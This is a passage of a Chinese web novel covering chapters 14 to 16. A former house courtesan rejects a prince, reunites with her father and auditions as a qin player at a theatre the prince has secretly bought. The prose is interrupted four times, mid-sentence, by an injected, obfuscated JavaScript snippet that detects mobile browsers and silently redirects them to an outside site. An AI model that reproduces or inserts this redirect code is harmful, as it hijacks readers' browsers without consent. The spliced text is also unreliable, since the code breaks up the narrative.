哪怕尹长寻只是心血来潮帮她一次，这种特殊的破例，就足够让她更加琢磨不透尹长寻的心思了。 若是没有上一辈子和尹长寻的渊源，或许她还可以平常心面对。 可是上一辈子她不仅和尹长寻有鱼水之欢，与她度过了五年的岁月，甚至一度还怀有过他的孩子。 这样的因果，她恐怕得长着一颗石头做的心，才能毫无芥蒂地与他心平气和的谈话吧。 祈今歌自问自己无法法做到。 她捏紧了手指，手心微微出汗。 如果这次不把话说明白，她怕以后更说不出口。 当断不断，必受其乱。 于是祈今歌抬眸看他，眼神清澈地如同能见到底的清泉。 她道：“王爷说的是，的确是民女自作主张了，只不过.......” 尹长寻道：“只不过？” 祈今歌似笑非笑，道：“民女之前是什么身份，王爷也是知道的，对民女来说，在殷府的时光并不光荣，所以民女才会不惜一切代价都要离开殷府。” 尹长寻见她语言真挚，不似有假，但也不明白，祈今歌离开殷府一事和他有什么关系。 祈今歌继续道：“民女身份已经和以前不同，从此以后，是要过寻常百姓的日子，不愿再起风波。但是王爷知道民女的过去的身份，只要看到王爷，民女就会想到以前卖笑求荣的日子，所以民女才会不愿意接近您，或者说，是不愿意接近在殷府服侍过的一切宾客。再说，王爷毕竟身份尊贵，王爷没有理由、也不应该和我这等身份卑微的人扯上关系。” 她微微含笑，话语中又带着一丝请求：“我想，王爷您会理解我的想法的，对吗？” 可是尹长寻不是蠢人，他听得出祈今歌话句句是真。 并且祈今歌给出的理由也相当合理，按理说，尹长寻也应该能够理解。 毕竟他是在没有必报为一个无关紧要的女人的想法所困扰。 可是在听到祈今歌亲口承认不愿意和他接触的时候，尹长寻依旧是不可自抑地感觉心中一沉，重重地压在了他的心底，让他颇为不快。 连他自己也说不明白这股窒息的源头来自何处。 等这股压抑的感觉褪去，涌上来的又是一不悦。 无论如何，祈今歌的言行都是拂了尹长寻的面子。 他的确能理解祈今歌给出的理由，可是他理解不了的，是自己心中带着不悦的情感。 这份不悦之中，甚至带着刺痛、压抑、还有不满。 他不过是朝她走了半步，她就立马退了一百步。 笑话。 不过好心送她回来，她反倒不识好歹。 尹长寻只感觉自己眉心跳了两下。 “你觉得本王想和你扯上关系？不过是顺手送你回来罢了，自作多情也要有个限度。” 祈今歌听了，面色平静如水，仿佛不为所动。 她平静道：“若是民女会错意，那便再好不过。” 依旧是一副不卑不亢的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457666|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >尹长寻对她冷淡的态度实在有些恼火。 不久前还是供人玩乐的家妓，说到底不过是卖笑的，前几天勾勾手还不是就成了自己的人？ 现在在这立什么牌坊？ 再者，她哪来的自信认为他堂堂王爷，愿意放低姿态和她祈今歌牵扯不清？ 可是尹长寻不会把这些话说出口。 他是皇家之人，他有他的尊严和骄傲。 说的越多，岂不是代表自己越在乎。 主动帮助这样一个身份卑贱的女人，是他行为太过反常。 都怪那个让他睡不好觉的梦，让他心神不宁。 真是晦气。 他冷冷道：“很好，你倒是个清高的。” 扔下这句话，尹长寻不等祈今歌回应，便拂袖而去，不再回头。 直到马车远去的声音传来，祈今歌才重重地舒了一口气，浑身瘫软着坐在了凳子上。 面对尹长寻，她总是无法游刃有余。 * 明正不知道二人在屋内发生了什么，只知道三人再度回到马车内的时候，原本就心情不佳的尹长寻，看起来心情似乎更糟了。 聪慧如明正，怎么会看不出尹长寻哪里不对劲。 进去之前还是好好地，进去之后脸冷的更厉害了，除了祈今歌这个活人能惹他生气还能有谁。 只是这祈今歌向来是个好性子的，虽然不会花言巧语讨人欢心，但是说话也是有分寸的。 按照常理，应该不会说出什么话冲撞尹长寻，但尹长寻脸色如此之差，实在有些奇怪。 当然，比这件事更让他感到不解的，便是尹长寻今天的态度。 若是有兴趣，为何当日在殷府没有迎娶美人归？ 若是没兴趣，今天怎么破天荒的为她停车下马，还施以援手？ 直到最后，他和妹妹都没有进屋，尹长寻反而跟了进去。 反常，太反常了。 难道是没有得到的，才是最好的？ 明正情不自禁地开始在脑海内天马行空起来。 片刻之间，他就脑补了一出毫无逻辑的狗血大戏。 尽管如此，明正最也知道自己想的这些戏码实在有些不切实际。他只当尹长寻是心血来潮，便是寻常百姓，也少有人会对做过家妓的女子认真，更何况是尹长寻这种皇家贵族？ 只不过明正不会放过取乐的机会，他忍不住犯贱起来：“长寻，你也别生气，你之前不要人家，人家姑娘也是要脸面的，要是方才说话不好听，那也是正常的！别放心里，别放心里啊！” 明芷玉反倒是看到尹长寻沉着脸的模样，反倒是高兴得很。 她方才看尹长寻单独进屋了，心都要跳到嗓子眼了。 立马就忍不住要冲进去阻止二人单独相处。 明正却是一把拉住她，朝她挤眉弄眼的，又劝她最好别添乱，否则尹长寻恐怕会更烦她。 话都说到这个地步了，明芷玉也只能忍着了。 没想到无心插柳柳成荫，自己没进去捣乱，祈今歌反倒还惹怒了尹长寻。 真是再好不过了！ 而且听她哥哥的话的意思，最开始尹长寻还根本没看上祈今歌。 那以前没看上，现在觉得有了点兴趣，也不可能多认真。 她顿时觉得自己的胜算又多了一分，嘴角上悄悄地上扬了起来。 尹长寻冷着脸反驳道：“胡说什么？我会在乎一个家妓？笑话！” 尹长寻没心情开玩笑。 祈今歌又能有什么特别，如果不是她和梦里的女子有几分相似，她凭什么又让自己多看两眼。 14. 差事 祈今歌搬到凤银巷以后的第一件事，便是雇了个车夫将父亲接进了云州城，和自己一同居住。 对于父亲祈成田当初变卖她们姐妹二人之事，她内心不是没有过怨恨，小小年纪被卖入殷府，自此无人照拂，看尽世态炎凉。 因此上辈子踏入殷府之后，姐妹两始终无法原谅父亲当初的行为。哪怕祈成田曾不辞辛苦来到云州城，在殷府外苦苦等候几日，只为看两个女儿一眼，姐妹二人也没有与他相见。 在祈今歌成婚第四年，祈成田就去世了。 祈今歌想，不知道父亲是否和自己一样，也是带着遗憾离世？ 跨过鬼门关后，祈今歌很多看法也改变了。 她理解了父亲的无可奈何，上辈子命丧亲妹之手，她只是选择远离，并未以牙还牙，为何又不能选择接受有苦衷的父亲？ 若是当初祈成田倔着性子带着两个孩子不放手，唯一的结局就是三人一同饿死。 想来，自己和祈明珠在殷府固然受点苦，受点累，可是吃穿用度哪一样都不需要费心。 可是祈成田一个人在外，日子又哪能比他们好过。 父亲所剩日子不多，她只想陪伴在他的身边。 祈成田靠务农谋生，这是靠天吃饭的行当，由于积劳成疾，整个人瘦得只裹了一层皮，皮肤黝黑，背都已经佝偻的不成样，加之无依无靠，日子也是过的相当艰难。 对于已经长达十几年没有任何音信的大女儿竟然派人特意将自己接回来这件事，祈成田甚至是以为有人故意玩笑自己，直到真的到了云州，看到女儿在家门口等候的身影，他悬着的心才落了地。 祈今歌如今已经出落得玉软花柔，十年未见，祈成田几乎没有认出来这是八岁以后就没见过的大女儿。 直到祈今歌一声“爹”叫出了口，祈成田激动地流下了眼泪，忍不住将女儿抱在了怀里。 他原以为这辈子得不到女儿的原谅，只能带着对二女的愧疚孤零零地死去，却没想到峰回路转，垂暮之年得女相伴。 多年不见，祈父自然憋了一肚子话，从早些年的贫穷生活，聊到殷府的点点滴滴，祈父对于女儿这些年身上发生的一切，既感到好奇，又感到心疼。 祈今歌不厌其烦地应着。 十年的分别，父亲有问不完的问题也不奇怪，祈今歌如今倒是享受这样平凡而又琐碎的时光。 也不知二人聊了多久，祈成田最后还是如她所料地问到祈明珠身上。 纸包不住火，没有撒谎的必要。 祈今歌如实相告，祈明珠不愿意离开殷府，今后也会在殷府继续生活，也极有可能不会来看他们。 祈成田在没有见到祈明珠时，内心已有准备，虽然免不得失落，却觉得现在能与大女儿相伴已属幸事，哪能奢望更多。 知道祈明珠的决定后，他便没有再多问一句，只是表示无论如何，都理解两个女儿的选择。 * 父女俩相处起来，时间倒也过得挺快，不知不觉间，两人在凤银巷居住已经一月由余。 这一个月内父女将也没闲着，先是二人将家中还缺的东西一同上街逐渐买了个大体齐全，一边又将房间破破烂烂的地方修补了个遍。 除此以外，祈成田还买了些花花草草的盆栽，种在了庭院里，也算是搞了个简朴至极的小花园。 这一个月忙活下来，这小院子总会算得上是看起来明亮规整，也有些活人气了。 这日祈今歌醒来之时，隔壁家养的公鸡还未叫唤。 她支起木窗时，露水顺着褪色的窗棂滚落，雾气濡湿了指尖。 天还是蒙蒙亮，风扬游丝，让人感觉到分外凉爽。 晨光已漫过东墙。 “今歌，起来了啊，怎么不多休息会。” 祈成田朝她打招呼，他正在院子里摆弄新种的花花草草，居住之地虽然简陋，却也因为祈父的悉心料理，倒显得更有活力了。 祈今歌望着父亲沐浴在曦光中，整个人被渡上了一层暖色。 她将垂落的发丝别到耳后，朝父亲扬起了笑脸。 “嗯，昨儿睡得早，已经休息够了。爹，我去厨房热早饭。” 祈今歌的厨艺并不好，毕竟十八年的光景里也没做过饭，这一个月尝试了几次后，祈今歌觉得还是不要再浪费食物为好。 所幸祈成田虽然这么多年都是自己做饭自己吃，练也练出来了，厨艺总是比祈今歌好得多。 磨合了一个月，最后父女俩分工明确，祈城田负责烧饭做菜，祈明珠负责洗碗热饭，一日三餐的头等大事总算确认了下来。 祈今歌将床铺收拾好，洗了脸漱了口，随即去了厨房，开始生火热饭。 不一会儿，厨房处就传来了香味。 祈成田给盆栽交完了水，又给自己锤了锤背，转头透过窗户看向了在厨房忙活着的女儿，内心不由得感受到一股无法忽略的暖意。 这段日子，祈成田在熟悉了周边的环境后，每天便是买买菜浇浇花，时不时出去溜达两圈打发时间，和街头巷尾的人混了个脸熟，偶尔约着钓钓鱼，到底是比以前下田干活轻松多了。 加之还能和女儿朝夕相处，对比以前背朝天的生活，他实在是非常满足。 祈今歌亦觉得当下的生活虽然平淡，却内心宁静，在这种和风细雨的日子中，有一种美好到不真实的感觉。 如果说她如今唯一的烦恼，那便是银子从哪儿来的问题。 父女俩用过早膳之后，祈今歌一边洗碗，一边便继续开始思考日后之事。 赎身以后，她虽然还剩点银子，可是外面处处都要钱，满打满算父女俩省吃俭用，虽还足够用半年左右，到终归是坐吃山空，不是长久之计。 当今世道，女子抛头露面者虽有，但是也终究是少数，就算是是出去谋生，相较于男子，女子想要找到适合的活计要难得多。 要说纺织刺绣或者做些手工活儿营生，她并不擅长。自己手上还有一点积蓄，或者可以开个小店铺之类的？ 可是隔行如隔山，做生意她是一点经验都没有，万一赔了进去，那可真是喝西北风了。 她所长便是一手琴艺，若要谋生，靠自身所长才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457667|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上上策。 只是这门手艺想要找个正经营生却不是那么容易的事，难免和青楼楚馆扯上关系。 想到这，祈今歌心里难免还是有些沉重。 作为女子，她能选择的路真是太少太少了。 若是去青楼做琴师，如倒是报酬不菲，可烟花之地，纵然她不用像烟花女子一样出卖自己，即使卖艺不卖身，她实在不想踏入这种寻欢作乐的场地，若非如此，又何苦花费如此大的代价脱离殷府？ 其次便是便是去戏园之类的地方，虽然也是玩乐之地，来往宾客鱼龙混杂，但终究是比青楼好了太多。 两权相害取其轻。 事到如今，也没什么挑剔的余地。 休息了一个月，养精蓄锐也够了。 想清楚以后，祈今歌便打算出门在街上看看有没有合适的机会。 * 一番东奔西走，也不知道走了多远的路了，找了两家戏院，都说不缺人。 祈今歌倒是不急，云洲很大，大大小小的戏园有十来家，只要不是运气背到极点，应该能找到招人的地方。 实在不行，还有最后一招——大不了她学着摆摊，也是能讨生活的。 她做好最坏的打算，反而感觉更为轻松了起来。 又不知道过了多久，她竟然走到了百影楼附近。 百影楼乃是整个云州生意最为兴盛的戏院，不光平民百姓爱去，当官的、从商的都是这儿的常客。 相比于普通梨园的小巧雅致，百影楼的建造可谓极尽奢靡，光是朱漆大门上挂着的那块楠木牌匾便造价不菲，纯金浮雕的"百影园"三字灼灼生辉，往来行人无不驻足仰首。 而百影楼最为特殊的还不止如此，一般人是不愿意碰这下九流的行当的，可百影楼在云州却是是个奇迹，由于生意好，月钱开的高，别说贱籍的人挤破头想进来，就连不少有一技之长的良民也放下偏见，想在里面有一席之地。 毕竟哪怕在里面只是个敲锣打鼓的，都胜过绝大多数人辛苦劳作之人挣的那三瓜两枣。 祈今歌看到百影楼门口排起长队，队伍里面有男有女，有老有少，但是无一例外，神色之中都看得出有点紧张。 看这模样，倒都不是前来看戏的宾客。 而百影楼朱红色的大门口处，站了一名年轻的伙计，似乎是在管理着这条长龙。 年轻伙计每摆一下手，位于队伍最前方的人就踏步而入，第二位又上前一步，继续在前一位的位置等待着指示。 也不知道发生了什么事？ 祈今歌见状便走上前去，轻轻拍了拍队伍最末端一位身形娇小的女子，问道：“姑娘，请问一下，你们这是在这排队忙什么呢？” 女子回头，一张圆脸显得十分惹人喜爱，杏眼厚唇，嘴脸下方一颗黑痣，称得上秀色可餐，看上去比祈今歌还要小上一些。 她眼中倒映出祈今歌的身影，微微露出惊艳之色。 少女愣了会才回答道：“你不知道吗？百影园最近弄了个告示，要招新的新的乐工！在这排队的，都是要想谋这份差事呢！” 15. 应聘 百影楼招人？ 祈今歌简直怀疑自己听错了。 天遂人愿，竟然还真就这么巧！ 祈今歌虽然感到庆幸，但是仍旧疑惑，道：“百影楼不是已经好几年都不招新人了吗，多少人想进去都没门路，怎么突然就改了主意？” 她出门不多，但是百影楼名声在外，多少人挤破了脑袋想进来的情况，她也是略知一二。 “嗨。姑娘，这你就有所不知了吧。” 少女勾了勾手指头，示意祈今歌靠近点。 祈今歌又往前迈了一小步。 少女两只圆溜溜的眼睛朝周围一瞟，见也没人注意她们，压低了声音，于是微微靠近她的脸颊，回答道：“前几天听说百影楼发生了件大事，来了个财大气粗的爷，本来只是过来看戏的，没想看看完了以后，竟然直接把百影楼买下来了，也不知是何方神圣！” “你说说，这可不是一般的有钱，对不对？毕竟百影楼生意兴隆，可不是什么要倒闭的草台班子，那价格能便宜吗？虽不知道成交是多少银子，可是听说前东家离开的时候可是喜笑颜开。这么有钱的一号人物，应该在云洲是有名有姓的，可是百影楼里的人竟然都不认识，这不奇怪了？” 祈今歌心下默然，觉得女子说的不无道理，百影楼岂非是一般人能买下的？ 数遍整个云州，能有这等财力的，至少也是殷夫人之流，百影楼来的人形形色色，里面的人也是见多识广，没有理由一整个戏院的人都不知道买家的身份。 的确有点奇怪。 不过祈今歌觉得并不重要。 但是谁是戏园子的东家，对祈今歌而言是无所谓的，只要有机会赚银子维持生活，总是好的。 “如今后面的东家早就换人了，你说这也是奇了怪了，这戏园子最重要的可不就是戏子吗？可人家对唱戏的没什么意见，偏偏是这新东家对戏院内的乐工不满意，东家都发话了，哪有还不改的道理，这不火急火燎的开始招人了吗？这几天生意也不做了，正是为了这事，可惜至今还没人能入这新东家法眼。” 听清楚了情况，祈今歌唇角微勾。 得亏还没找到如意的，不然恐怕自己试一试的机会都没有了。 “多谢姑娘告知。”祈今歌道了谢，又道：“百影楼招人可要做些什么额外的准备？” “不需要不需要！” 少女摆了摆手，道:“只要排队然后等着，报上自己的名字之类的便行。乐器之类的东西，百影楼已经准备好了，挑首自己擅长的曲子演奏就行了，很简单的。” 得了确切的答复，祈今歌便也老老实实地就紧着少女身后排队了起来。 “咦？你也是来应聘的？” 少女偏过脑袋，面露疑惑。 原本以前眼前这位大美人只是无意间路过，好奇一问而已，没想到她竟然直接就站在自己身后，便也明白她大抵是同行了。 祈今歌便是再美，再能夺人好感，可这涉及到谋生的问题，大家都是竞争对手，不得不谨慎。 于是少女的神情变得警惕了起来。 “好姐姐，你会什么乐器啊？” 祈今歌笑了笑，她当然知道面前的人在担心什么。 “我用琴。” 闻言，少女松了一口，她擅长的乐器乃是笛子，总不至于成为对手。 她立马又恢复神采飞扬的模样，拍手道：“那太好了，说不定以后咱们还能天天见面呢！我叫王水闲，你呢？” 两人互相报了姓名，一边排队，一边有一搭没一搭地闲聊起来。 期间能够看到不时有人从门口出来，皆是垂头丧气的样子。 “不是吧，听说还没有一个人应聘上？皇宫也没这么严格吧？” “那谁知道呢？重赏之下必有勇夫，谁让人家钱给够了呢！” “哎，真希望我能成，要是我被选上了定要吃斋三日。” “我看悬，你看就今天这一天都来了差不多上百个，最后还不是无功而返。” “管他呢！死马当活马医，反正试试又没损失。” 等候的队伍之中变得躁动起来，开始有人议论纷纷。 又是等待了好一会，排在她们二人前面的人终于已经散去，王水闲朝着祈今朝挥了挥手，迈过大门门槛走了进去了。 不肖一会儿，她一会又丧着脸出来了，一副垂头丧气的样子。 “真是过分，我还没开始多久呢，就把我打发出来了！真不知道他们要招什么神仙似的人物？看来我是没机会了。好姐姐，你要好好表现，咱们俩总不能一个都上不了！” 满心期待落了空，王水闲当然是委屈巴巴，甚至都没了心情多说几句话。 她怕再多说几句，自己就要红眼眶了。 这新东家甚至没让她把一首曲子演奏完，这也太瞧不起人了！ 时辰本就已经不早，王水闲临走之时说了几句鼓励祈今歌的话，便匆匆离开了。 事已至此，祈今歌也明白了想要成功绝非易事，她也不由得有些紧张了起来。 虽然她对自己琴艺颇有自信，可也深天外有天、人外有人的道理，若是百影园有更高的要求，纵然是自己也不可能有十足的把握。 * “下一个！” 门口的伙计挥了挥手，祈今歌走到他的跟前，伙计微微打量了她一会，再接着看了她身后一眼，笑着道：“姑娘，看来您是今天最后一位了，干脆我带着您一同过去罢了。” 祈今歌跟着他进了门，只见门内不远处坐着一位女子，她此刻正低着头，一只手伏于桌面，一直手正拿着毛笔蘸着墨，听到脚步声，她抬眸一看，朝着祈今歌所在的望去，道：“叶兴，这是最后一个？” 名为叶兴的年轻伙计点了点头，道：“是啊，安碧，登记完这个姑娘，咱们今天算是差不多可以收工了。” 祈今歌跟随着叶兴的步伐，走到了安碧跟前。 安碧穿着褪色月白衫裙，衣襟处绣着暗纹竹叶，墨黑色长发用木制发钗简单挽起，鬓角垂落几缕碎发。 虽相貌平平，但气质淡然中又带着温柔，素色衣裙与她给人的感觉很是相配，依旧显得与众不同。 安碧看着她，不免得有些欣喜。 这几天也不需要干别的，毕竟院内也不迎客，大多数人根据新东家的安排，都以休息几天。 百影楼的管事叶威则是点了几个人留下负责招收新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457668|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐工的任务，原本身为身为打杂的安碧是不用负责这件事的，但是谁叫她还能识得几个字呢？因此还是被叶威点名留了下来。 不过看着叶威的侄儿叶兴也是忙前忙后，安碧倒是觉得叶威倒是没有偏心，确实因人尽其用的理由才安排了她。 所以她这几日就坐在门口的老位置，登记应聘之人的名册，也不知道写了多少个人的名字，只知道这厚厚的一本名册已经差不多写满了，她的胳膊也是写酸了。 她以往虽然忙，干的工作也是繁杂又琐碎，但是好在可以随意走动。 如今坐在这像是高僧入定了一样，重复又无趣，便是屁股也坐僵硬了，背都坐麻了。 安碧只盼望能早早结束，找到新东家满意的人，可今天一天忙活下来，看来又是无功而返。 今天临近关门，竟然来了这么一个美人。 蛾眉宛转，面如傅粉，看了便心情大好。 简直比她们戏园的当家花旦还要好看。 这样一个璀璨夺目的大美人，竟然是来应聘乐工这样不起眼的位置的？ 安碧倒是觉得有些暴遣天物了。 安碧敛回了目光，微笑道：“姑娘，烦请您报一下您的姓名，也麻烦将门第告知，这样如果东家决定好了人选了，咱们也方便通个信。” 祈今歌报上了自己的姓名和住址。 祈今歌瞧了一眼安碧手臂收下压着的名册，只见上面密密麻麻地写满了规规整整的字，皆是记载着来者的姓名、门第、特长。 看来这段日子来应聘的还真不少。 祈今歌问道：“是东家亲自面试吗？” 安碧点了点头，道：“当然，不然怎么能确保选的人能让东家满意呢？” 祈今歌觉得这东家有意思。 乐艺固然是有高低的，可毕竟戏园里戏子才是台柱子，乐工只要不犯错便够了。 百影楼的乐工便人再一般，可是也是百里挑一选出来的，新东家也还是不满意，而且要换人便罢，竟然还自己亲自挑选，可见极其挑剔，要求极高。 这么看来，前来的客人满意不满意倒不是首先要考虑的，让新东家满意才是当务之急。 像上一个这么挑剔的，还是不久前见过的尹长寻。 祈今歌心中一动，怎么又想到了这个人的名字。 她微微摇了摇头，好像这样便能把这个名字从头脑中甩出去，她又道：“东家不当场决定吗？” 安碧道：“一般情况下，却是如此，行或者不行，当场就定了，也没别的变数。不过咱们东家要求高，好几天了，来的人里面没一个瞧上，最后要是实在不行，总不能白忙活一场，到时候在登记的人里面挑个高个子将军，选一两个备用才是。” 这个法子倒是好，祈今歌想，若是当场被拒，总要选几个，说不定若是运气好，就点到自己了？ 登记完了以后，祈今歌又跟着叶兴到了后院的一间房门前。 叶兴敲了敲门，道：“东家，今儿个还有最后一个姑娘，能让她进来吗？” “进来。” 得了门内之人的允许，叶兴提醒了祈今歌记得进去自报名字，随后做了个请的手势，示意让她自己进去。 16. 琴艺 伴随着“吱呀”一声响起，房门被轻轻打开。 房间内被简单分为了里间和外间，以屏门墙上挂着的洁白色纱幕作为切割。 明正听到动静，下意识地抬头，隔着纱帘，也能看到外间进来的是位身形窈窕的女子，虽然看不清来人面容，但是一举一动之间，也能见其气质不凡。 女子似乎是有些疑惑，进门后四处张望着，直到看到纱幕后的朦朦胧胧的人影后，她方才停止了动作。 想都不用多想，明正就料定她应和其余人一样，不解这东家身份是何等尊贵，为何神神秘秘，躲在帷幕之后，不以真面目示意人。 说不定，还要内心疑惑，招个人还搞的这么神神秘秘，真是故弄玄虚。 实际上，祈今歌倒不觉得意外。 隔着这层纱幕，里外的人都互相看不真切。 不见乐者真面目，反倒能够真正排除其余的干扰，真正通过了解乐工的技艺是否高超。 祈今歌能够理解。 这新东家是个懂乐的。 只是她以为屋内只有东家一人，但是她却见到了四个人影，人数要比她预料的多。 “最后一个了。” 明正饮了一口茶水，放下手中的茶盏，见里面的茶水也已经见了底，又拿起茶壶，给自己添了茶，又顺带给尹长寻满上。 他瞅了一眼坐在自己的尹长寻，他倒是没什么表情，依旧神情闲散，像是没听到他的话一样。 而明正只觉得这几天耳朵都要聋了，他将茶壶放下，又饮了一口茶水后，好声好气劝道：“我说我尊敬的王爷，今天又是一个都没看上，要不这些随便选几个人凑合用就得了，何必如此兴师动众换人呢，我看之前的就挺好。” 自从上次带着尹长寻一同来百影园看戏以后，尹长寻觉得百影园还有点意思，心血来潮之下，便将东家喊了过来，表明想将此处买了，让他报个价。 尹长寻便装出行，除了门外候着的马夫，甚至都没带侍卫跟随，根本猜不出来自哪门哪户。 明正不用说，已经是百影楼的老熟人，化成灰东家都认识。 尹长寻来云洲也不过一年，又鲜少露面，东家没见过他，自然也就没有印象，便也无从确定他的身份。 东家年过百半，虽然不知道尹长寻是何方神圣，但是一双眼睛也不是白长的。 他见尹长寻衣着打扮一看就不是凡品，加上毕竟是和太守的儿子玩在一起的人，也明白肯定不是等闲之辈。 明正整天吃喝玩乐，交的是狐朋狗友，成天花天酒地，消遣都是得花钱的，没钱的根本和他玩不起。 东家断定此人必然非富即贵，总之定然是个不差钱的主。 但就算不差钱，但是百影楼作为云洲最受欢迎的戏园，价格也不是一般人买得起的。 东家此前也没动过卖楼的念头，毕竟他这戏园的生意确实经营的不错，但是又瞧着这位公子哥一幅随口开价的模样，不由得好奇心起，忍不住想探探深浅，看看这小年轻是真有实力，还是在口出狂言。 半推半就下，园主便开口出了一个远远高于百影楼实际价格的数目来。 这价格便只是从口里随意说出来，都足以让人心惊肉跳。 要是这个价格真被接受了，园主还真是不后悔，反而还得庆幸，哪里天赐良缘，给他送了这么一个冤大头。 便是云洲的首富听了这个价格也得再三掂量，慎重决定。 他一个毛头小子还真能大手一挥，豪掷千金不成？ 明正听了园主报的价直咋舌，心想云洲人都说这百影楼的老东家惯是个精明的，可也没想到这么黑啊！ 他刚想劝尹长寻千万别冲动，却尹长寻却是冷笑一声，似是看破了园主的心思...... 明正松了一口气，别管外人觉得尹长寻多高岭之花，多深不可测，在明正眼里，尹长寻这人也就外表看着冷，实际上偶尔还有点愣，他就怕他一冲动，这桩离谱的买卖还真就成了…… 但下一秒，尹长寻却一口答应了园主的价格，并命马夫去取了银票。 得…… 明正心道，他松懈的还是太早了。 等银票到了老板手上，别说旁人了，就是园主都有种恍然如梦的感觉。 他这才明白，少年之所以露出有些轻蔑的冷笑，能接受他开的价格，并不是因为他傻，而是因为对他而言，这点钱无所谓而已。 东家高兴得很，将百影楼的戏园全套班底都留了下来，除了带走他本人，别的也是分毫没动。 于是毫无征兆的，百影楼至此便归于尹长寻的名下。 明正事后问尹长寻为何要买下百影楼。 尹长寻只答了四个字——心血来潮。 有钱，任性。 明正对尹长寻一掷千金的行为只能如此评价。 买了便买了，对于一个王爷来说，倒也不是什么大事。 尹长寻如今分封到了云洲这么一个好地方，地方上的事务又都由明守义管理的井井有条，他本人也无心折腾出什么花样，能给自己找着事做，找点乐子，倒也是好的。 老闲着，可是会发霉的。 百影楼毕竟也是在一众戏园之中杀出一条血路的，楼内的各个伙计也是从云州这地方精挑细选出来的，不说是数一数二，也绝对不是滥竽充数之流，否则见多识广的尹长寻断然也是提不起兴趣。 此后的日子尹长寻也将楼内的戏剧基本看了个遍，别的倒没说什么，到对百影楼现有的乐师，他却不怎么满意。 他的不满并不稀奇。 这倒是不是因为百影楼的乐师多差，而是因为尹长寻见过出神入化的乐艺后，再一对比，自然相形见绌。 人比人，气死人。百影楼的各个乐师当然是有几份本事在身上的，但是尹长寻的母亲尤其通乐理，不少乐器她都略通一二，特别是一手琴艺更是出神入化，别说整个云州，就是寻便整个大宇也难出其右。 尹长寻被她的母亲熏陶过，对这方面挑剔些也正常。 不过他虽然有所不满，他却是也没砸了现任乐师的饭碗，只是决定要招聘新乐师过来，寻几个让他另眼相看的。 只是一连好几天下来，都没一个能让他点头的。 明正自然是舍命陪君子，毕竟是从小到大一起长大的兄弟，他向来爱热闹，反正自己闲着也是闲着，哪有不陪道理。 只是两个大男人整日为伍确实无趣，加之明正也是安静不了的性子，因此他叫上了平日两个和自己花天酒地的公子哥一同来百影楼作伴。 其中一个一个名唤金利，另一个名唤李别肃，都是二十来岁，或者家中都是做生意的缘故，两人年轻的长相看起来要比同辈人多了些精明。 两位都对这位京城来的王爷好奇已久，苦于没有攀附的机会，眼下明正递过来橄榄枝，哪里还有不同意的道理。 而稀奇的是，一向不爱与外人打交道的尹长寻大概是看明正的面子，竟然也没拒绝他们两个掺和进来。 只不过尹长寻还是特意提了一句，带别人可以，别带明芷玉就行。 明正心中为妹妹的还未捂热就已经凉透了的小女儿情怀默哀。 从招募乐师到现在已经三四天了，四个大男人天天就坐在茶座上大眼瞪小眼，也不知何时是个头。 金利和李别肃倒是不急，云洲的这些乐子他们早就玩了个遍，多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457669|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有点玩腻了，可是陪着庆王，便是什么都不做，对他们这些商人之子来讲，都是莫大的荣耀。 且不说庆王殿下身后的皇家势力，只说多少人热脸贴冷屁股都贴不上的庆王殿下，他们二人却得着了相处的机会，说出去也是倍有面子。 金利已经对今天的来人不报希望，笑笑道：“估计又是个泛泛之辈。” 李别肃也附和：“这是今天最后一个了吧，实在不行也无所谓，大不了明天再看看。” 明正叹了口气，看来只有他一人没什么耐心。 这几天前来的乐师，虽说不上惊为天人，但是也称得上差强人意，谁不知道苏贵妃的琴艺举世难寻，尹长寻总不能用她母亲的标准，去要求云州这个地方出这么一个惊艳才绝的人物。 不过是个戏班而已，说到底是打发时间用的，哪能条件如此苛刻。 他有些后悔，干嘛带尹长寻来看戏，当初就该约着他打猎踏青，这不也没这一出了。 祈今歌站着原地没动，微微垂眸，看了看摆在外间的一排乐器。 琵琶、花鼓、月琴等乐器官一应俱全。 摆放古琴的琴桌被摆放在最中央。 